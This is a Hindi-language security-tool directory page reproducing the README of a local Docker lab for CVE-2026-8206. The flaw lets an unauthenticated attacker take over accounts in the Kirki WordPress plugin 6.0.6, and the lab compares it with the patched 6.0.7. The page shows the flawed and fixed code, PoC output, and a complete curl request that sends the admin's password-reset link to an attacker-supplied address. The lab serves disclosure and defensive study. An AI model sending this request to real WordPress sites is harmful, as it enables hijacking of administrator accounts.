Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-8206-Lab — # स्थानीय Docker लैब जो Kirki WordPress प्लगइन में CVE-2026-8206 बिना प्रमाणीकरण के खाता अधिग्रहण का प्रदर्शन करती है। कमजोर 6.0.6 बनाम पैच किए गए 6.0.7 की तुलना PoC स्क्रिप्ट और कैप्चर किए गए मेल सत्यापन के साथ करती है। | Kitploit
उपकरण/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFलर्निंग और शिक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

# स्थानीय Docker लैब जो Kirki WordPress प्लगइन में CVE-2026-8206 बिना प्रमाणीकरण के खाता अधिग्रहण का प्रदर्शन करती है। कमजोर 6.0.6 बनाम पैच किए गए 6.0.7 की तुलना PoC स्क्रिप्ट और कैप्चर किए गए मेल सत्यापन के साथ करती है।

रिपॉजिटरी देखें
143 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-8206 - Kirki खाता अधिग्रहण लैब

Kirki WordPress प्लगइन में CVE-2026-8206 का प्रदर्शन करने के लिए स्थानीय Docker लैब।

यह रिपॉजिटरी वास्तविक Kirki प्लगइन रिलीज़ की तुलना करती है:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

लैब केवल स्थानीय है और WordPress सेवाओं को 127.0.0.1 से बांधती है। PoC न्यूनतम-हानिकारक है: यह पासवर्ड रीसेट का अनुरोध करता है और लैब के भीतर कैप्चर किए गए ईमेल प्राप्तकर्ता को सत्यापित करता है। यह किसी भी पासवर्ड को नहीं बदलता है।


सारांश

CVE-2026-8206 Kirki संस्करण 6.0.0 से 6.0.6 में एक अनप्रमाणित खाता अधिग्रहण / विशेषाधिकार वृद्धि भेद्यता है।

भेद्य पासवर्ड रीसेट हैंडलर username द्वारा चयनित वास्तविक WordPress उपयोगकर्ता के लिए एक रीसेट कुंजी बनाता है, लेकिन रीसेट ईमेल को अनुरोध में दिए गए किसी भी ईमेल पते पर भेज देता है।

इस लैब में:

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

प्रभावित घटक

  • उत्पाद: Kirki – फ्रीफॉर्म पेज बिल्डर, वेबसाइट बिल्डर और कस्टमाइज़र
  • प्रभावित संस्करण: 6.0.0 से 6.0.6
  • स्थिर संस्करण: 6.0.7
  • इस लैब में उपयोग किया गया भेद्य एंडपॉइंट:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

मूल कारण

भेद्य हैंडलर है:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

6.0.6 में भेद्य व्यवहार

Kirki अनुरोध बॉडी से हमलावर-आपूर्ति किया गया ईमेल पढ़ता है:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

फिर यह उपयोगकर्ता नाम द्वारा लक्ष्य WordPress उपयोगकर्ता का पता लगाता है और उस उपयोगकर्ता के लिए एक पासवर्ड रीसेट कुंजी बनाता है:

root@kitploit:~
$key = get_password_reset_key( $user );

लेकिन अंतिम रीसेट ईमेल अनुरोध-आपूर्ति $email पर भेजा जाता है:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

यह खाता पहचान और रीसेट-ईमेल प्राप्तकर्ता के बीच विश्वास सीमा को तोड़ता है। एक अनप्रमाणित अनुरोधकर्ता प्रदान कर सकता है:

root@kitploit:~
username=admin
[email protected]

रीसेट कुंजी admin की है, लेकिन ईमेल हमलावर-नियंत्रित पते पर पहुंचाया जाता है।

6.0.7 में पैच किया गया व्यवहार

Kirki 6.0.7 सत्यापित करता है कि आपूर्ति किया गया ईमेल हल किए गए उपयोगकर्ता के पंजीकृत ईमेल से मेल खाता है, फिर भेजने से पहले प्राप्तकर्ता को खाता ईमेल पर बाध्य करता है:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

लैब डिज़ाइन

सेवाउद्देश्यहोस्ट URL
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnभेद्य WordPress के लिए MySQLकेवल Docker नेटवर्क
db_patchedपैच किए गए WordPress के लिए MySQLकेवल Docker नेटवर्क
wpcli_vulnभेद्य WordPress को सीड करता हैएक-शॉट सेटअप
wpcli_patchedपैच किए गए WordPress को सीड करता हैएक-शॉट सेटअप

स्थानीय मेल बाहरी रूप से भेजे जाने के बजाय फ़ाइलों में कैप्चर किया जाता है:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

लैब WP-CLI के साथ स्थापित वास्तविक Kirki प्लगइन संस्करणों का उपयोग करता है। प्लगइन स्रोत संशोधित नहीं है।


रिपॉजिटरी संरचना

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

आवश्यकताएँ

  • Docker Desktop या Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests पैकेज

आवश्यकता होने पर Python निर्भरता स्थापित करें:

root@kitploit:~
python3 -m pip install requests

लैब चलाएं

कंटेनर शुरू करें:

root@kitploit:~
docker compose up -d --build

दोनों WordPress इंस्टेंस को सीड करें:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

PoC चलाएं:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

अपेक्षित परिणाम

भेद्य: Kirki 6.0.6

अपेक्षित परिणाम:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

यह साबित करता है कि भेद्य संस्करण ने लक्ष्य खाते के लिए पासवर्ड रीसेट ईमेल हमलावर-नियंत्रित पते पर भेजा।

पैच किया गया: Kirki 6.0.7

अपेक्षित परिणाम:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

यह साबित करता है कि पैच किया गया संस्करण उपयोगकर्ता नाम/ईमेल बेमेल को अस्वीकार करता है और रीसेट ईमेल हमलावर-नियंत्रित पते पर नहीं भेजता है।


मैन्युअल सत्यापन

भेद्य लैब के अंदर सही Kirki एलिमेंट नॉनस बनाएं:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

भेद्य सेवा को केवल-स्थानीय अनुरोध भेजें:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

कैप्चर किया गया मेल जांचें:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

अपेक्षित भेद्य साक्ष्य:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

सुरक्षा

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और पोर्टफोलियो प्रदर्शन के लिए है।

सुरक्षा सीमाएँ:

  • सेवाओं को केवल 127.0.0.1 से बांधता है।
  • डमी स्थानीय ईमेल पते का उपयोग करता है।
  • वास्तविक ईमेल भेजने के बजाय मेल को स्थानीय रूप से कैप्चर करता है।
  • पासवर्ड नहीं बदलता है।
  • बाहरी प्रणालियों के विरुद्ध शोषण का प्रयास नहीं करता है।

सफाई

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Wordfence सलाह: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Wordfence भेद्यता डेटाबेस: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • WordPress प्लगइन पेज / चेंजलॉग: https://wordpress.org/plugins/kirki/
  • OpenCVE प्रविष्टि: https://app.opencve.io/cve/CVE-2026-8206
टूल डाउनलोड करें